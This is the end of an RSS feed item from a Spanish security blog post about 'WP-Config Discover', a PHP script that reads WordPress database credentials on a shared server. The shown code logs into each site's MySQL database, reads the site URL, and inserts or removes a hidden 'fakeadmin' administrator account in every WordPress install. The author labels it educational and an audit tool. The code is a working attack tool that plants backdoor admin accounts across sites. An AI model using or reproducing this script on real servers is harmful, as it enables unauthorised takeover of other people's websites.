<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> getURL<span class="br0">&#40;</span><span class="re0">$user</span>, <span class="re0">$pass</span>, <span class="re0">$db</span>, <span class="re0">$host</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$user</span>, <span class="re0">$user</span><span class="br0">&#41;</span>; <span class="re0">$user</span> = <span class="re0">$user</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$pass</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>; <span class="re0">$pass</span> = <span class="re0">$pass</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$db</span>, <span class="re0">$db</span><span class="br0">&#41;</span>; <span class="re0">$db</span> = <span class="re0">$db</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$host</span>, <span class="re0">$host</span><span class="br0">&#41;</span>; <span class="re0">$host</span> = <span class="re0">$host</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/<span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$prefix</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span>; <span class="re0">$prefix</span> = <span class="re0">$prefix</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$sql</span> = @<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="re0">$host</span>, <span class="re0">$user</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; @<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="re0">$db</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$_q</span> = @<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;SELECT option_value FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;options WHERE option_name=&#8217;siteurl&#8217;&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; @<a href="http://www.php.net/mysql_close"><span class="kw3">mysql_close</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> @<a href="http://www.php.net/mysql_result"><span class="kw3">mysql_result</span></a><span class="br0">&#40;</span><span class="re0">$_q</span>, <span class="nu0">0</span>, <span class="st0">&#8216;option_value&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> UserAdmin<span class="br0">&#40;</span><span class="re0">$action</span>, <span class="re0">$user</span>, <span class="re0">$pass</span>, <span class="re0">$db</span>, <span class="re0">$host</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$user</span>, <span class="re0">$user</span><span class="br0">&#41;</span>; <span class="re0">$user</span> = <span class="re0">$user</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$pass</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>; <span class="re0">$pass</span> = <span class="re0">$pass</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$db</span>, <span class="re0">$db</span><span class="br0">&#41;</span>; <span class="re0">$db</span> = <span class="re0">$db</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$host</span>, <span class="re0">$host</span><span class="br0">&#41;</span>; <span class="re0">$host</span> = <span class="re0">$host</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/<span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$prefix</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span>; <span class="re0">$prefix</span> = <span class="re0">$prefix</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$sql</span> = @<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="re0">$host</span>, <span class="re0">$user</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; @<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="re0">$db</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$action</span> == <span class="st0">&quot;create&quot;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$wp_uid</span> = <a href="http://www.php.net/rand"><span class="kw3">rand</span></a><span class="br0">&#40;</span><span class="nu0">9990</span>,<span class="nu0">99999</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; @<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(&quot;</span>.<span class="re0">$wp_uid</span>.<span class="st0">&quot;, &#8216;fakeadmin&#8217;, md5(&#8216;dummie&#8217;), &#8216;wordpress&#8217;, &#8216;dummie@wordpress.cl&#8217;, &#8216;http://&#8217;, NOW(), &#8221;, 0, &#8216;wordpressdummieadmin&#8217;)&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; @<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;usermeta (user_id, meta_key, meta_value) VALUES (&quot;</span>.<span class="re0">$wp_uid</span>.<span class="st0">&quot;, &#8216;wp_capabilities&#8217;, &#8216;a:1:{s:13:<span class="es0">\&quot;</span>administrator<span class="es0">\&quot;</span>;b:1;}&#8217; )&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$action</span> == <span class="st0">&quot;delete&quot;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;DELETE FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;usermeta WHERE user_id=(SELECT id FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;users WHERE user_login=&#8217;fakeadmin&#8217;)&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;DELETE FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;users WHERE user_login=&#8217;fakeadmin&#8217;&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; @<a href="http://www.php.net/mysql_close"><span class="kw3">mysql_close</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> <span class="st0">&quot;fakeadmin/dummie&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Este script tiene dos funciones embedidas, las cuales se deben llamar pasando pasando las variables <strong>attack=create_user</strong> o <strong>attack=delete_user</strong>. La primera crea un usuario admin (falso) en todos los wordpress y con la segunda, se eliminan estos usuarios creados.</p>
<p>Conceptualmente es un script muy sencillo pero en un servidor sin protecciones podría ser <em>mortal</em>.</p>
<p>El código está disponible tambien en <a href="http://codes.zerial.org/php/wp-config_discover.phps">http://codes.zerial.org/php/wp-config_discover.phps</a></p>
<p><em>nota: queda de más decir que es para uso educativo y es una herramienta de auditoría <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </em></p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/wp-config-discover/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
